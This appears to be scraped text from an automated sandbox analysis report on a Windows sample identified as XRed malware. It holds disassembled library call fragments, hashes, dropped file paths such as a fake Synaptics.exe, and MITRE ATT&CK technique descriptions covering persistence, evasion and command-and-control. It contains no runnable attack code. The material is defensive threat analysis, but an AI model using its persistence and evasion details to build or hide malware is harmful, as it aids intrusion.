Part of subcall function 00408E10: __NMSG_WRITE.LIBCMT ref: 00408E37
Part of subcall function 00408E10: __NMSG_WRITE.LIBCMT ref: 00408E41

__NMSG_WRITE.LIBCMT ref: 00405E33

Part of subcall function 00408C50: _strcpy_s.LIBCMT ref: 00408CBC
Part of subcall function 00408C50: __invoke_watson.LIBCMT ref: 00408CCD
Part of subcall function 00408C50: GetModuleFileNameA.KERNEL32(00000000,00424449,00000104), ref: 00408CE9
Part of subcall function 00408C50: _strcpy_s.LIBCMT ref: 00408CFE
Part of subcall function 00408C50: __invoke_watson.LIBCMT ref: 00408D11
Part of subcall function 00408C50: _strlen.LIBCMT ref: 00408D1A
Part of subcall function 00408C50: _strlen.LIBCMT ref: 00408D27
Part of subcall function 00408C50: __invoke_watson.LIBCMT ref: 00408D54

Part of subcall function 00408870: ___crtCorExitProcess.LIBCMT ref: 00408874
Part of subcall function 00408870: ExitProcess.KERNEL32 ref: 0040887E

HeapAlloc.KERNEL32(00000000,?), ref: 00405E60
HeapAlloc.KERNEL32(00000000,?), ref: 00405E90

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: __invoke_watson$AllocExitHeapProcess_strcpy_s_strlen$FileModuleName___crt
String ID:
API String ID: 2259262434-0
Opcode ID: c959ab9b33d47bd1ad4158ed542521a1b7016bb84f01994efd4c45ff344b2aed
Instruction ID: e627bb3423a2435263c95ee6769542dca2cd6e46519a1fed2a429553392bd34b
Opcode Fuzzy Hash: c959ab9b33d47bd1ad4158ed542521a1b7016bb84f01994efd4c45ff344b2aed
Instruction Fuzzy Hash: E2F0C2316069206BDE206722ED01B6F3A58EF507A4F24843BFC84F61D1CB789D408AED

Function 004094A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 004094BF

Part of subcall function 004075D6: __mtinitlocknum.LIBCMT ref: 004075EA
Part of subcall function 004075D6: __amsg_exit.LIBCMT ref: 004075F6
Part of subcall function 004075D6: EnterCriticalSection.KERNEL32(?,?,?,00407036,00000004,00420350,0000000C,0040E2C0,00000000,00000000,00000000,00000000,00000000,0040BDEB,00000001,00000214), ref: 004075FE

EnterCriticalSection.KERNEL32(-00000020,00406080,?,004202C8,0000000C,0040122A,00000000,00000000,?,?,?,0007D000,?,?,00000000), ref: 004094CA

Strings

@NB, xrefs: 004094A6

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CriticalEnterSection$__amsg_exit__lock__mtinitlocknum
String ID: @NB
API String ID: 3996875869-2045974245
Opcode ID: c1ba78f78f85e342ff2a3b04b2607fea47d5ad43d7e46010c3ccc9b84a500944
Instruction ID: ccd7fc2464c2f0c18f2cc64440757c7378f986ad3b311bb84cee28383fa1271f
Opcode Fuzzy Hash: c1ba78f78f85e342ff2a3b04b2607fea47d5ad43d7e46010c3ccc9b84a500944
Instruction Fuzzy Hash: 84D0C7F5B1514277DF285A765D4954D2165D544342355CD7BE405E16C2CA3DED41400D

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Program Files (x86)\OpenAL\._cache_file.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_3323f08b4d67f24a49dcac47a8ac8f69775d6939_455b7b6e_0d24f35e-6ce6-4694-b182-808d094dbae6\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER299F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER29CF.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2AE.tmp.dmp

C:\ProgramData\Synaptics\RCXF93C.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\12ZFtsN.ini

C:\Users\user\AppData\Local\Temp\1LaFjrg.ini

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre